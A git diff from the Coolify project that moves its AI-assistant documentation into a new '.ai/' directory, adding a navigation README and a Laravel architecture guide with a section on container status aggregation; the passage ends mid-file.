diff --git a/.AI_INSTRUCTIONS_SYNC.md b/.AI_INSTRUCTIONS_SYNC.md
index bbe0a90e1..b268064af 100644
--- a/.AI_INSTRUCTIONS_SYNC.md
+++ b/.AI_INSTRUCTIONS_SYNC.md
@@ -1,156 +1,41 @@
 # AI Instructions Synchronization Guide
 
-This document explains how AI instructions are organized and synchronized across different AI tools used with Coolify.
+**This file has moved!**
 
-## Overview
+All AI documentation and synchronization guidelines are now in the `.ai/` directory.
 
-Coolify maintains AI instructions in two parallel systems:
+## New Locations
 
-1. **CLAUDE.md** - For Claude Code (claude.ai/code)
-2. **.cursor/rules/** - For Cursor IDE and other AI assistants
+- **Sync Guide**: [.ai/meta/sync-guide.md](.ai/meta/sync-guide.md)
+- **Maintaining Docs**: [.ai/meta/maintaining-docs.md](.ai/meta/maintaining-docs.md)
+- **Documentation Hub**: [.ai/README.md](.ai/README.md)
 
-Both systems share core principles but are optimized for their respective workflows.
+## Quick Overview
 
-## Structure
-
-### CLAUDE.md
-- **Purpose**: Condensed, workflow-focused guide for Claude Code
-- **Format**: Single markdown file
-- **Includes**:
-  - Quick-reference development commands
-  - High-level architecture overview
-  - Core patterns and guidelines
-  - Embedded Laravel Boost guidelines
-  - References to detailed .cursor/rules/ documentation
-
-### .cursor/rules/
-- **Purpose**: Detailed, topic-specific documentation
-- **Format**: Multiple .mdc files organized by topic
-- **Structure**:
-  - `README.mdc` - Main index and overview
-  - `cursor_rules.mdc` - Maintenance guidelines
-  - Topic-specific files (testing-patterns.mdc, security-patterns.mdc, etc.)
-- **Used by**: Cursor IDE, Claude Code (for detailed reference), other AI assistants
-
-## Cross-References
-
-Both systems reference each other:
-
-- **CLAUDE.md** → references `.cursor/rules/` for detailed documentation
-- **.cursor/rules/README.mdc** → references `CLAUDE.md` for Claude Code workflow
-- **.cursor/rules/cursor_rules.mdc** → notes that changes should sync with CLAUDE.md
-
-## Maintaining Consistency
-
-When updating AI instructions, follow these guidelines:
-
-### 1. Core Principles (MUST be consistent)
-- Laravel version (currently Laravel 12)
-- PHP version (8.4)
-- Testing execution rules (Docker for Feature tests, mocking for Unit tests)
-- Security patterns and authorization requirements
-- Code style requirements (Pint, PSR-12)
-
-### 2. Where to Make Changes
-
-**For workflow changes** (how to run commands, development setup):
-- Primary: `CLAUDE.md`
-- Secondary: `.cursor/rules/development-workflow.mdc`
-
-**For architectural patterns** (how code should be structured):
-- Primary: `.cursor/rules/` topic files
-- Secondary: Reference in `CLAUDE.md` "Additional Documentation" section
-
-**For testing patterns**:
-- Both: Must be synchronized
-- `CLAUDE.md` - Contains condensed testing execution rules
-- `.cursor/rules/testing-patterns.mdc` - Contains detailed examples and patterns
-
-### 3. Update Checklist
-
-When making significant changes:
-
-- [ ] Identify if change affects core principles (version numbers, critical patterns)
-- [ ] Update primary location (CLAUDE.md or .cursor/rules/)
-- [ ] Check if update affects cross-referenced content
-- [ ] Update secondary location if needed
-- [ ] Verify cross-references are still accurate
-- [ ] Run: `./vendor/bin/pint CLAUDE.md .cursor/rules/*.mdc` (if applicable)
-
-### 4. Common Inconsistencies to Watch
-
-- **Version numbers**: Laravel, PHP, package versions
-- **Testing instructions**: Docker execution requirements
-- **File paths**: Ensure relative paths work from root
-- **Command syntax**: Docker commands, artisan commands
-- **Architecture decisions**: Laravel 10 structure vs Laravel 12+ structure
-
-## File Organization
+All AI instructions are now organized in `.ai/` directory:
 
 ```
-/
-├── CLAUDE.md                          # Claude Code instructions (condensed)
-├── .AI_INSTRUCTIONS_SYNC.md          # This file
-└── .cursor/
-    └── rules/
-        ├── README.mdc                 # Index and overview
-        ├── cursor_rules.mdc           # Maintenance guide
-        ├── testing-patterns.mdc       # Testing details
-        ├── development-workflow.mdc   # Dev setup details
-        ├── security-patterns.mdc      # Security details
-        ├── application-architecture.mdc
-        ├── deployment-architecture.mdc
-        ├── database-patterns.mdc
-        ├── frontend-patterns.mdc
-        ├── api-and-routing.mdc
-        ├── form-components.mdc
-        ├── technology-stack.mdc
-        ├── project-overview.mdc
-        └── laravel-boost.mdc          # Laravel-specific patterns
+.ai/
+├── README.md                    # Navigation hub
+├── core/                        # Project information
+├── development/                 # Dev workflows
+├── patterns/                    # Code patterns
+└── meta/                       # Documentation guides
 ```
 
-## Recent Updates
+### For AI Assistants
 
-### 2025-10-07
-- ✅ Added cross-references between CLAUDE.md and .cursor/rules/
-- ✅ Synchronized Laravel version (12) across all files
-- ✅ Added comprehensive testing execution rules (Docker for Feature tests)
-- ✅ Added test design philosophy (prefer mocking over database)
-- ✅ Fixed inconsistencies in testing documentation
-- ✅ Created this synchronization guide
+- **Claude Code**: Use `CLAUDE.md` (references `.ai/` files)
+- **Cursor IDE**: Use `.cursor/rules/coolify-ai-docs.mdc` (references `.ai/` files)
+- **All Tools**: Browse `.ai/` directory for detailed documentation
 
-## Maintenance Commands
+### Key Principles
 
-```bash
-# Check for version inconsistencies
-grep -r "Laravel [0-9]" CLAUDE.md .cursor/rules/*.mdc
+1. **Single Source of Truth**: Each piece of information exists in ONE file only
+2. **Cross-Reference**: Other files reference the source, don't duplicate
+3. **Organized by Topic**: Core, Development, Patterns, Meta
+4. **Version Consistency**: All versions in `.ai/core/technology-stack.md`
 
-# Check for PHP version consistency
-grep -r "PHP [0-9]" CLAUDE.md .cursor/rules/*.mdc
+## For More Information
 
-# Format all documentation
-./vendor/bin/pint CLAUDE.md .cursor/rules/*.mdc
-
-# Search for specific patterns across all docs
-grep -r "pattern_to_check" CLAUDE.md .cursor/rules/
-```
-
-## Contributing
-
-When contributing documentation:
-
-1. Check both CLAUDE.md and .cursor/rules/ for existing documentation
-2. Add to appropriate location(s) based on guidelines above
-3. Add cross-references if creating new patterns
-4. Update this file if changing organizational structure
-5. Verify consistency before submitting PR
-
-## Questions?
-
-If unsure about where to document something:
-
-- **Quick reference / workflow** → CLAUDE.md
-- **Detailed patterns / examples** → .cursor/rules/[topic].mdc
-- **Both?** → Start with .cursor/rules/, then reference in CLAUDE.md
-
-When in doubt, prefer detailed documentation in .cursor/rules/ and concise references in CLAUDE.md.
+See [.ai/meta/sync-guide.md](.ai/meta/sync-guide.md) for complete synchronization guidelines and [.ai/meta/maintaining-docs.md](.ai/meta/maintaining-docs.md) for documentation maintenance instructions.
diff --git a/.ai/README.md b/.ai/README.md
new file mode 100644
index 000000000..ea7812496
--- /dev/null
+++ b/.ai/README.md
@@ -0,0 +1,148 @@
+# Coolify AI Documentation
+
+Welcome to the Coolify AI documentation hub. This directory contains all AI assistant instructions organized by topic for easy navigation and maintenance.
+
+## Quick Start
+
+- **For Claude Code**: Start with [CLAUDE.md in root directory](../CLAUDE.md)
+- **For Cursor IDE**: Check `.cursor/rules/coolify-ai-docs.mdc` which references this directory
+- **For Other AI Tools**: Continue reading below
+
+## Documentation Structure
+
+### 📚 Core Documentation
+Essential project information and architecture:
+
+- **[Technology Stack](core/technology-stack.md)** - All versions, packages, and dependencies (Laravel 12.4.1, PHP 8.4.7, etc.)
+- **[Project Overview](core/project-overview.md)** - What Coolify is and how it works
+- **[Application Architecture](core/application-architecture.md)** - System design and component relationships
+- **[Deployment Architecture](core/deployment-architecture.md)** - How deployments work end-to-end, including Coolify Docker Compose extensions (custom fields)
+
+### 💻 Development
+Day-to-day development practices:
+
+- **[Workflow](development/development-workflow.md)** - Development setup, commands, and daily workflows
+- **[Testing Patterns](development/testing-patterns.md)** - How to write and run tests (Unit vs Feature, Docker requirements)
+- **[Laravel Boost](development/laravel-boost.md)** - Laravel-specific guidelines and best practices
+
+### 🎨 Patterns
+Code patterns and best practices by domain:
+
+- **[Database Patterns](patterns/database-patterns.md)** - Eloquent, migrations, relationships
+- **[Frontend Patterns](patterns/frontend-patterns.md)** - Livewire, Alpine.js, Tailwind CSS
+- **[Security Patterns](patterns/security-patterns.md)** - Authentication, authorization, security best practices
+- **[Form Components](patterns/form-components.md)** - Enhanced form components with authorization
+- **[API & Routing](patterns/api-and-routing.md)** - API design, routing conventions, REST patterns
+
+### 📖 Meta
+Documentation about documentation:
+
+- **[Maintaining Docs](meta/maintaining-docs.md)** - How to update and improve this documentation
+- **[Sync Guide](meta/sync-guide.md)** - Keeping documentation synchronized across tools
+
+## Quick Decision Tree
+
+**What do you need help with?**
+
+### Running Commands
+→ [development/development-workflow.md](development/development-workflow.md)
+- Frontend: `npm run dev`, `npm run build`
+- Backend: `php artisan serve`, `php artisan migrate`
+- Tests: Docker for Feature tests, mocking for Unit tests
+- Code quality: `./vendor/bin/pint`, `./vendor/bin/phpstan`
+
+### Writing Tests
+→ [development/testing-patterns.md](development/testing-patterns.md)
+- **Unit tests**: No database, use mocking, run outside Docker
+- **Feature tests**: Can use database, must run inside Docker
+- Command: `docker exec coolify php artisan test`
+
+### Building UI
+→ [patterns/frontend-patterns.md](patterns/frontend-patterns.md) or [patterns/form-components.md](patterns/form-components.md)
+- Livewire components with server-side state
+- Alpine.js for client-side interactivity
+- Tailwind CSS 4.1.4 for styling
+- Form components with built-in authorization
+
+### Database Work
+→ [patterns/database-patterns.md](patterns/database-patterns.md)
+- Eloquent ORM patterns
+- Migration best practices
+- Relationship definitions
+- Query optimization
+
+### Security & Auth
+→ [patterns/security-patterns.md](patterns/security-patterns.md)
+- Team-based access control
+- Policy and gate patterns
+- Form authorization (canGate, canResource)
+- API security
+
+### Laravel-Specific Questions
+→ [development/laravel-boost.md](development/laravel-boost.md)
+- Laravel 12 patterns
+- Livewire 3 best practices
+- Pest testing patterns
+- Laravel conventions
+
+### Docker Compose Extensions
+→ [core/deployment-architecture.md](core/deployment-architecture.md#coolify-docker-compose-extensions)
+- Custom fields: `exclude_from_hc`, `content`, `isDirectory`
+- How to use inline file content
+- Health check exclusion patterns
+- Volume creation control
+
+### Version Numbers
+→ [core/technology-stack.md](core/technology-stack.md)
+- **Single source of truth** for all version numbers
+- Don't duplicate versions elsewhere, reference this file
+
+## Navigation Tips
+
+1. **Start broad**: Begin with project-overview or ../CLAUDE.md
+2. **Get specific**: Navigate to topic-specific files for details
+3. **Cross-reference**: Files link to related topics
+4. **Single source**: Version numbers and critical data exist in ONE place only
+
+## For AI Assistants
+
+### Important Patterns to Follow
+
+**Testing Commands:**
+- Unit tests: `./vendor/bin/pest tests/Unit` (no database, outside Docker)
+- Feature tests: `docker exec coolify php artisan test` (requires database, inside Docker)
+- NEVER run Feature tests outside Docker - they will fail with database connection errors
+
+**Version Numbers:**
+- Always use exact versions from [technology-stack.md](core/technology-stack.md)
+- Laravel 12.4.1, PHP 8.4.7, Tailwind 4.1.4
+- Don't use "v12" or "8.4" - be precise
+
+**Form Authorization:**
+- ALWAYS include `canGate` and `:canResource` on form components
+- See [form-components.md](patterns/form-components.md) for examples
+
+**Livewire Components:**
+- MUST have exactly ONE root element
+- See [frontend-patterns.md](patterns/frontend-patterns.md) for details
+
+**Code Style:**
+- Run `./vendor/bin/pint` before finalizing changes
+- Follow PSR-12 standards
+- Use PHP 8.4 features (constructor promotion, typed properties, etc.)
+
+## Contributing
+
+When updating documentation:
+1. Read [meta/maintaining-docs.md](meta/maintaining-docs.md)
+2. Follow the single source of truth principle
+3. Update cross-references when moving content
+4. Test all links work
+5. Run Pint on markdown files if applicable
+
+## Questions?
+
+- **Claude Code users**: Check [../CLAUDE.md](../CLAUDE.md) first
+- **Cursor IDE users**: Check `.cursor/rules/coolify-ai-docs.mdc`
+- **Documentation issues**: See [meta/maintaining-docs.md](meta/maintaining-docs.md)
+- **Sync issues**: See [meta/sync-guide.md](meta/sync-guide.md)
diff --git a/.ai/core/application-architecture.md b/.ai/core/application-architecture.md
new file mode 100644
index 000000000..64038d139
--- /dev/null
+++ b/.ai/core/application-architecture.md
@@ -0,0 +1,604 @@
+# Coolify Application Architecture
+
+## Laravel Project Structure
+
+### **Core Application Directory** ([app/](mdc:app))
+
+```
+app/
+├── Actions/           # Business logic actions (Action pattern)
+├── Console/           # Artisan commands
+├── Contracts/         # Interface definitions
+├── Data/              # Data Transfer Objects (Spatie Laravel Data)
+├── Enums/             # Enumeration classes
+├── Events/            # Event classes
+├── Exceptions/        # Custom exception classes
+├── Helpers/           # Utility helper classes
+├── Http/              # HTTP layer (Controllers, Middleware, Requests)
+├── Jobs/              # Background job classes
+├── Listeners/         # Event listeners
+├── Livewire/          # Livewire components (Frontend)
+├── Models/            # Eloquent models (Domain entities)
+├── Notifications/     # Notification classes
+├── Policies/          # Authorization policies
+├── Providers/         # Service providers
+├── Repositories/      # Repository pattern implementations
+├── Services/          # Service layer classes
+├── Traits/            # Reusable trait classes
+└── View/              # View composers and creators
+```
+
+## Core Domain Models
+
+### **Infrastructure Management**
+
+#### **[Server.php](mdc:app/Models/Server.php)** (46KB, 1343 lines)
+- **Purpose**: Physical/virtual server management
+- **Key Relationships**:
+  - `hasMany(Application::class)` - Deployed applications
+  - `hasMany(StandalonePostgresql::class)` - Database instances
+  - `belongsTo(Team::class)` - Team ownership
+- **Key Features**:
+  - SSH connection management
+  - Resource monitoring
+  - Proxy configuration (Traefik/Caddy)
+  - Docker daemon interaction
+
+#### **[Application.php](mdc:app/Models/Application.php)** (74KB, 1734 lines)
+- **Purpose**: Application deployment and management
+- **Key Relationships**:
+  - `belongsTo(Server::class)` - Deployment target
+  - `belongsTo(Environment::class)` - Environment context
+  - `hasMany(ApplicationDeploymentQueue::class)` - Deployment history
+- **Key Features**:
+  - Git repository integration
+  - Docker build and deployment
+  - Environment variable management
+  - SSL certificate handling
+
+#### **[Service.php](mdc:app/Models/Service.php)** (58KB, 1325 lines)
+- **Purpose**: Multi-container service orchestration
+- **Key Relationships**:
+  - `hasMany(ServiceApplication::class)` - Service components
+  - `hasMany(ServiceDatabase::class)` - Service databases
+  - `belongsTo(Environment::class)` - Environment context
+- **Key Features**:
+  - Docker Compose generation
+  - Service dependency management
+  - Health check configuration
+
+### **Team & Project Organization**
+
+#### **[Team.php](mdc:app/Models/Team.php)** (8.9KB, 308 lines)
+- **Purpose**: Multi-tenant team management
+- **Key Relationships**:
+  - `hasMany(User::class)` - Team members
+  - `hasMany(Project::class)` - Team projects
+  - `hasMany(Server::class)` - Team servers
+- **Key Features**:
+  - Resource limits and quotas
+  - Team-based access control
+  - Subscription management
+
+#### **[Project.php](mdc:app/Models/Project.php)** (4.3KB, 156 lines)
+- **Purpose**: Project organization and grouping
+- **Key Relationships**:
+  - `hasMany(Environment::class)` - Project environments
+  - `belongsTo(Team::class)` - Team ownership
+- **Key Features**:
+  - Environment isolation
+  - Resource organization
+
+#### **[Environment.php](mdc:app/Models/Environment.php)**
+- **Purpose**: Environment-specific configuration
+- **Key Relationships**:
+  - `hasMany(Application::class)` - Environment applications
+  - `hasMany(Service::class)` - Environment services
+  - `belongsTo(Project::class)` - Project context
+
+### **Database Management Models**
+
+#### **Standalone Database Models**
+- **[StandalonePostgresql.php](mdc:app/Models/StandalonePostgresql.php)** (11KB, 351 lines)
+- **[StandaloneMysql.php](mdc:app/Models/StandaloneMysql.php)** (11KB, 351 lines)
+- **[StandaloneMariadb.php](mdc:app/Models/StandaloneMariadb.php)** (10KB, 337 lines)
+- **[StandaloneMongodb.php](mdc:app/Models/StandaloneMongodb.php)** (12KB, 370 lines)
+- **[StandaloneRedis.php](mdc:app/Models/StandaloneRedis.php)** (12KB, 394 lines)
+- **[StandaloneKeydb.php](mdc:app/Models/StandaloneKeydb.php)** (11KB, 347 lines)
+- **[StandaloneDragonfly.php](mdc:app/Models/StandaloneDragonfly.php)** (11KB, 347 lines)
+- **[StandaloneClickhouse.php](mdc:app/Models/StandaloneClickhouse.php)** (10KB, 336 lines)
+
+**Common Features**:
+- Database configuration management
+- Backup scheduling and execution
+- Connection string generation
+- Health monitoring
+
+### **Configuration & Settings**
+
+#### **[EnvironmentVariable.php](mdc:app/Models/EnvironmentVariable.php)** (7.6KB, 219 lines)
+- **Purpose**: Application environment variable management
+- **Key Features**:
+  - Encrypted value storage
+  - Build-time vs runtime variables
+  - Shared variable inheritance
+
+#### **[InstanceSettings.php](mdc:app/Models/InstanceSettings.php)** (3.2KB, 124 lines)
+- **Purpose**: Global Coolify instance configuration
+- **Key Features**:
+  - FQDN and port configuration
+  - Auto-update settings
+  - Security configurations
+
+## Architectural Patterns
+
+### **Action Pattern** ([app/Actions/](mdc:app/Actions))
+
+Using [lorisleiva/laravel-actions](mdc:composer.json) for business logic encapsulation:
+
+```php
+// Example Action structure
+class DeployApplication extends Action
+{
+    public function handle(Application $application): void
+    {
+        // Business logic for deployment
+    }
+    
+    public function asJob(Application $application): void
+    {
+        // Queue job implementation
+    }
+}
+```
+
+**Key Action Categories**:
+- **Application/**: Deployment and management actions
+- **Database/**: Database operations
+- **Server/**: Server management actions
+- **Service/**: Service orchestration actions
+
+### **Repository Pattern** ([app/Repositories/](mdc:app/Repositories))
+
+Data access abstraction layer:
+- Encapsulates database queries
+- Provides testable data layer
+- Abstracts complex query logic
+
+### **Service Layer** ([app/Services/](mdc:app/Services))
+
+Business logic services:
+- External API integrations
+- Complex business operations
+- Cross-cutting concerns
+
+## Data Flow Architecture
+
+### **Request Lifecycle**
+
+1. **HTTP Request** → [routes/web.php](mdc:routes/web.php)
+2. **Middleware** → Authentication, authorization
+3. **Livewire Component** → [app/Livewire/](mdc:app/Livewire)
+4. **Action/Service** → Business logic execution
+5. **Model/Repository** → Data persistence
+6. **Response** → Livewire reactive update
+
+### **Background Processing**
+
+1. **Job Dispatch** → Queue system (Redis)
+2. **Job Processing** → [app/Jobs/](mdc:app/Jobs)
+3. **Action Execution** → Business logic
+4. **Event Broadcasting** → Real-time updates
+5. **Notification** → User feedback
+
+## Security Architecture
+
+### **Multi-Tenant Isolation**
+
+```php
+// Team-based query scoping
+class Application extends Model
+{
+    public function scopeOwnedByCurrentTeam($query)
+    {
+        return $query->whereHas('environment.project.team', function ($q) {
+            $q->where('id', currentTeam()->id);
+        });
+    }
+}
+```
+
+### **Authorization Layers**
+
+1. **Team Membership** → User belongs to team
+2. **Resource Ownership** → Resource belongs to team
+3. **Policy Authorization** → [app/Policies/](mdc:app/Policies)
+4. **Environment Isolation** → Project/environment boundaries
+
+### **Data Protection**
+
+- **Environment Variables**: Encrypted at rest
+- **SSH Keys**: Secure storage and transmission
+- **API Tokens**: Sanctum-based authentication
+- **Audit Logging**: [spatie/laravel-activitylog](mdc:composer.json)
+
+## Configuration Hierarchy
+
+### **Global Configuration**
+- **[InstanceSettings](mdc:app/Models/InstanceSettings.php)**: System-wide settings
+- **[config/](mdc:config)**: Laravel configuration files
+
+### **Team Configuration**
+- **[Team](mdc:app/Models/Team.php)**: Team-specific settings
+- **[ServerSetting](mdc:app/Models/ServerSetting.php)**: Server configurations
+
+### **Project Configuration**
+- **[ProjectSetting](mdc:app/Models/ProjectSetting.php)**: Project settings
+- **[Environment](mdc:app/Models/Environment.php)**: Environment variables
+
+### **Application Configuration**
+- **[ApplicationSetting](mdc:app/Models/ApplicationSetting.php)**: App-specific settings
+- **[EnvironmentVariable](mdc:app/Models/EnvironmentVariable.php)**: Runtime configuration
+
+## Event-Driven Architecture
+
+### **Event Broadcasting** ([app/Events/](mdc:app/Events))
+
+Real-time updates using Laravel Echo and WebSockets:
+
+```php
+// Example event structure
+class ApplicationDeploymentStarted implements ShouldBroadcast
+{
+    public function broadcastOn(): array
+    {
+        return [
+            new PrivateChannel("team.{$this->application->team->id}"),
+        ];
+    }
+}
+```
+
+### **Event Listeners** ([app/Listeners/](mdc:app/Listeners))
+
+- Deployment status updates
+- Resource monitoring alerts
+- Notification dispatching
+- Audit log creation
+
+## Database Design Patterns
+
+### **Polymorphic Relationships**
+
+```php
+// Environment variables can belong to multiple resource types
+class EnvironmentVariable extends Model
+{
+    public function resource(): MorphTo
+    {
+        return $this->morphTo();
+    }
+}
+```
+
+### **Team-Based Soft Scoping**
+
+All major resources include team-based query scoping:
+
+```php
+// Automatic team filtering
+$applications = Application::ownedByCurrentTeam()->get();
+$servers = Server::ownedByCurrentTeam()->get();
+```
+
+### **Configuration Inheritance**
+
+Environment variables cascade from:
+1. **Shared Variables** → Team-wide defaults
+2. **Project Variables** → Project-specific overrides
+3. **Application Variables** → Application-specific values
+
+## Integration Patterns
+
+### **Git Provider Integration**
+
+Abstracted git operations supporting:
+- **GitHub**: [app/Models/GithubApp.php](mdc:app/Models/GithubApp.php)
+- **GitLab**: [app/Models/GitlabApp.php](mdc:app/Models/GitlabApp.php)
+- **Bitbucket**: Webhook integration
+- **Gitea**: Self-hosted Git support
+
+### **Docker Integration**
+
+- **Container Management**: Direct Docker API communication
+- **Image Building**: Dockerfile and Buildpack support
+- **Network Management**: Custom Docker networks
+- **Volume Management**: Persistent storage handling
+
+### **SSH Communication**
+
+- **[phpseclib/phpseclib](mdc:composer.json)**: Secure SSH connections
+- **Multiplexing**: Connection pooling for efficiency
+- **Key Management**: [PrivateKey](mdc:app/Models/PrivateKey.php) model
+
+## Testing Architecture
+
+### **Test Structure** ([tests/](mdc:tests))
+
+```
+tests/
+├── Feature/           # Integration tests
+├── Unit/              # Unit tests
+├── Browser/           # Dusk browser tests
+├── Traits/            # Test helper traits
+├── Pest.php           # Pest configuration
+└── TestCase.php       # Base test case
+```
+
+### **Testing Patterns**
+
+- **Feature Tests**: Full request lifecycle testing
+- **Unit Tests**: Individual class/method testing
+- **Browser Tests**: End-to-end user workflows
+- **Database Testing**: Factories and seeders
+
+## Performance Considerations
+
+### **Query Optimization**
+
+- **Eager Loading**: Prevent N+1 queries
+- **Query Scoping**: Team-based filtering
+- **Database Indexing**: Optimized for common queries
+
+### **Caching Strategy**
+
+- **Redis**: Session and cache storage
+- **Model Caching**: Frequently accessed data
+- **Query Caching**: Expensive query results
+
+### **Background Processing**
+
+- **Queue Workers**: Horizon-managed job processing
+- **Job Batching**: Related job grouping
+- **Failed Job Handling**: Automatic retry logic
+
+## Container Status Monitoring System
+
+### **Overview**
+
+Container health status is monitored and updated through **multiple independent paths**. When modifying status logic, **ALL paths must be updated** to ensure consistency.
+
+### **Critical Implementation Locations**
+
+#### **1. SSH-Based Status Updates (Scheduled)**
+**File**: [app/Actions/Docker/GetContainersStatus.php](mdc:app/Actions/Docker/GetContainersStatus.php)
+**Method**: `aggregateApplicationStatus()` (lines 487-540)
+**Trigger**: Scheduled job or manual refresh
+**Frequency**: Every minute (via `ServerCheckJob`)
+
+**Status Aggregation Logic**:
+```php
+// Tracks multiple status flags
+$hasRunning = false;
+$hasRestarting = false;
+$hasUnhealthy = false;
+$hasUnknown = false;  // ⚠️ CRITICAL: Must track unknown
+$hasExited = false;
+// ... more states
+
+// Priority: restarting > degraded > running (unhealthy > unknown > healthy)
+if ($hasRunning) {
+    if ($hasUnhealthy) return 'running (unhealthy)';
+    elseif ($hasUnknown) return 'running (unknown)';
+    else return 'running (healthy)';
+}
+```
+
+#### **2. Sentinel-Based Status Updates (Real-time)**
+**File**: [app/Jobs/PushServerUpdateJob.php](mdc:app/Jobs/PushServerUpdateJob.php)
+**Method**: `aggregateMultiContainerStatuses()` (lines 269-298)
+**Trigger**: Sentinel push updates from remote servers
+**Frequency**: Every ~30 seconds (real-time)
+
+**Status Aggregation Logic**:
+```php
+// ⚠️ MUST match GetContainersStatus logic
+$hasRunning = false;
+$hasUnhealthy = false;
+$hasUnknown = false;  // ⚠️ CRITICAL: Added to fix bug
+
+foreach ($relevantStatuses as $status) {
+    if (str($status)->contains('running')) {
+        $hasRunning = true;
+        if (str($status)->contains('unhealthy')) $hasUnhealthy = true;
+        if (str($status)->contains('unknown')) $hasUnknown = true;  // ⚠️ CRITICAL
+    }
+}
+
+// Priority: unhealthy > unknown > healthy
+if ($hasRunning) {
+    if ($hasUnhealthy) $aggregatedStatus = 'running (unhealthy)';
+    elseif ($hasUnknown) $aggregatedStatus = 'running (unknown)';
+    else $aggregatedStatus = 'running (healthy)';
+}
+```
+
+#### **3. Multi-Server Status Aggregation**
+**File**: [app/Actions/Shared/ComplexStatusCheck.php](mdc:app/Actions/Shared/ComplexStatusCheck.php)
+**Method**: `resource()` (lines 48-210)
+**Purpose**: Aggregates status across multiple servers for applications
+**Used by**: Applications with multiple destinations
+
+**Key Features**:
+- Aggregates statuses from main + additional servers
+- Handles excluded containers (`:excluded` suffix)
+- Calculates overall application health from all containers
+
+**Status Format with Excluded Containers**:
+```php
+// When all containers excluded from health checks:
+return 'running:unhealthy:excluded';  // Container running but unhealthy, monitoring disabled
+return 'running:unknown:excluded';     // Container running, health unknown, monitoring disabled
+return 'running:healthy:excluded';     // Container running and healthy, monitoring disabled
+return 'degraded:excluded';            // Some containers down, monitoring disabled
+return 'exited:excluded';              // All containers stopped, monitoring disabled
+```
+
+#### **4. Service-Level Status Aggregation**
+**File**: [app/Models/Service.php](mdc:app/Models/Service.php)
+**Method**: `complexStatus()` (lines 176-288)
+**Purpose**: Aggregates status for multi-container services
+**Used by**: Docker Compose services
+
+**Status Calculation**:
+```php
+// Aggregates status from all service applications and databases
+// Handles excluded containers separately
+// Returns status with :excluded suffix when all containers excluded
+if (!$hasNonExcluded && $complexStatus === null && $complexHealth === null) {
+    // All services excluded - calculate from excluded containers
+    return "{$excludedStatus}:excluded";
+}
+```
+
+### **Status Flow Diagram**
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    Container Status Sources                  │
+└─────────────────────────────────────────────────────────────┘
+                             │
+        ┌────────────────────┼────────────────────┐
+        │                    │                    │
+        ▼                    ▼                    ▼
+┌───────────────┐   ┌─────────────────┐   ┌──────────────┐
+│ SSH-Based     │   │ Sentinel-Based  │   │ Multi-Server │
+│ (Scheduled)   │   │ (Real-time)     │   │ Aggregation  │
+├───────────────┤   ├─────────────────┤   ├──────────────┤
+│ ServerCheck   │   │ PushServerUp-   │   │ ComplexStatus│
+│ Job           │   │ dateJob         │   │ Check        │
+│               │   │                 │   │              │
+│ Every ~1min   │   │ Every ~30sec    │   │ On demand    │
+└───────┬───────┘   └────────┬────────┘   └──────┬───────┘
+        │                    │                    │
+        └────────────────────┼────────────────────┘
+                             │
+                             ▼
+                 ┌───────────────────────┐
+                 │ Application/Service   │
+                 │ Status Property       │
+                 └───────────────────────┘
+                             │
+                             ▼
+                 ┌───────────────────────┐
+                 │ UI Display (Livewire) │
+                 └───────────────────────┘
+```
+
+### **Status Priority System**
+
+All status aggregation locations **MUST** follow the same priority:
+
+**For Running Containers**:
+1. **unhealthy** - Container has failing health checks
+2. **unknown** - Container health status cannot be determined
+3. **healthy** - Container is healthy
+
+**For Non-Running States**:
+1. **restarting** → `degraded (unhealthy)`
+2. **running + exited** → `degraded (unhealthy)`
+3. **dead/removing** → `degraded (unhealthy)`
+4. **paused** → `paused`
+5. **created/starting** → `starting`
+6. **exited** → `exited (unhealthy)`
+
+### **Excluded Containers**
+
+When containers have `exclude_from_hc: true` flag or `restart: no`:
+
+**Behavior**:
+- Status is still calculated from container state
+- `:excluded` suffix is appended to indicate monitoring disabled
+- UI shows "(Monitoring Disabled)" badge
+- Action buttons respect the actual container state
+
+**Format**: `{actual-status}:excluded`
+**Examples**: `running:unknown:excluded`, `degraded:excluded`, `exited:excluded`
+
+**All-Excluded Scenario**:
+When ALL containers are excluded from health checks:
+- All three status update paths (PushServerUpdateJob, GetContainersStatus, ComplexStatusCheck) **MUST** calculate status from excluded containers
+- Status is returned with `:excluded` suffix (e.g., `running:healthy:excluded`)
+- **NEVER** skip status updates - always calculate from excluded containers
+- This ensures consistent status regardless of which update mechanism runs
+- Shared logic is in `app/Traits/CalculatesExcludedStatus.php`
+
+### **Important Notes for Developers**
+
+✅ **Container Status Aggregation Service**:
+
+The container status aggregation logic is centralized in `App\Services\ContainerStatusAggregator`.
+
+**Status Format Standard**:
+- **Backend/Storage**: Colon format (`running:healthy`, `degraded:unhealthy`)
+- **UI/Display**: Transform to human format (`Running (Healthy)`, `Degraded (Unhealthy)`)
+
+1. **Using the ContainerStatusAggregator Service**:
+   - Import `App\Services\ContainerStatusAggregator` in any class needing status aggregation
+   - Two methods available:
+     - `aggregateFromStrings(Collection $statusStrings, int $maxRestartCount = 0)` - For pre-formatted status strings
+     - `aggregateFromContainers(Collection $containers, int $maxRestartCount = 0)` - For raw Docker container objects
+   - Returns colon format: `running:healthy`, `degraded:unhealthy`, etc.
+   - Automatically handles crash loop detection via `$maxRestartCount` parameter
+
+2. **State Machine Priority** (handled by service):
+   - Restarting → `degraded:unhealthy` (highest priority)
+   - Crash loop (exited with restarts) → `degraded:unhealthy`
+   - Mixed state (running + exited) → `degraded:unhealthy`
+   - Running → `running:unhealthy` / `running:unknown` / `running:healthy`
+   - Dead/Removing → `degraded:unhealthy`
+   - Paused → `paused:unknown`
+   - Starting/Created → `starting:unknown`
+   - Exited → `exited:unhealthy` (lowest priority)
+
+3. **Test both update paths**:
+   - Run unit tests: `./vendor/bin/pest tests/Unit/ContainerStatusAggregatorTest.php`
+   - Run integration tests: `./vendor/bin/pest tests/Unit/`
+   - Test SSH updates (manual refresh)
+   - Test Sentinel updates (wait 30 seconds)
+
+4. **Handle excluded containers**:
+   - All containers excluded (`exclude_from_hc: true`) - Use `CalculatesExcludedStatus` trait
+   - Mixed excluded/non-excluded containers - Filter then use `ContainerStatusAggregator`
+   - Containers with `restart: no` - Treated same as `exclude_from_hc: true`
+
+5. **Use shared trait for excluded containers**:
+   - Import `App\Traits\CalculatesExcludedStatus` in status calculation classes
+   - Use `getExcludedContainersFromDockerCompose()` to parse exclusions
+   - Use `calculateExcludedStatus()` for full Docker inspect objects (ComplexStatusCheck)
+   - Use `calculateExcludedStatusFromStrings()` for status strings (PushServerUpdateJob, GetContainersStatus)
+
+### **Related Tests**
+
